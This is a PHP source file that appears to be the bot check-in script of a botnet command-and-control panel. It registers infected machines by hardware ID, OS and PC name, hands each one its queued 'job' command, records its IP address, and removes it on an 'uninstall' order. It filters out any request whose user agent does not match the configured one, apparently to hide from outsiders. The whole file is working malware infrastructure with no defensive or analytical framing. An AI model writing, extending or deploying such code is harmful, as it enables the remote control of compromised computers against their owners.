<?php
require_once('config.php');
require_once('inc/class_bot.php');

if($_SERVER['HTTP_USER_AGENT'] != $USERAGENT)
	die("error");

if(isset($_GET['hwid']) && isset($_GET['ver']) && isset($_GET['os']) && isset($_GET['from']) && isset($_GET['name']))
{
	$query = Database::getTableRow("bots", "botid", $_GET['hwid']);
	$client = new Bot();
	if(empty($query))
	{
		$client->Register($_GET['hwid'], $_GET['ver'], $_GET['os'], $_GET['from'], $_GET['name']);
	}
	else// if($query->num_rows == 1)
	{
		echo trim($query['job'], "\n");
	
		$update = "UPDATE bots SET pcname = ?, ip = ?, version = ?, job = '', time = ? WHERE botid = ?";
		$param = array($_GET['name'], $_SERVER['REMOTE_ADDR'], $_GET['ver'], time(), $_GET['hwid']);
		$execute = Database::query($update, $param);
	
		if($query['job'] == "uninstall" ) //OR strrpos($row['job'], 'update') == false)
		{
			$delete = "DELETE FROM bots WHERE botid = ?";
			$execute = Database::query($delete, $_GET['hwid']);
		}
	}
}
else
{
	die("error");
}
?>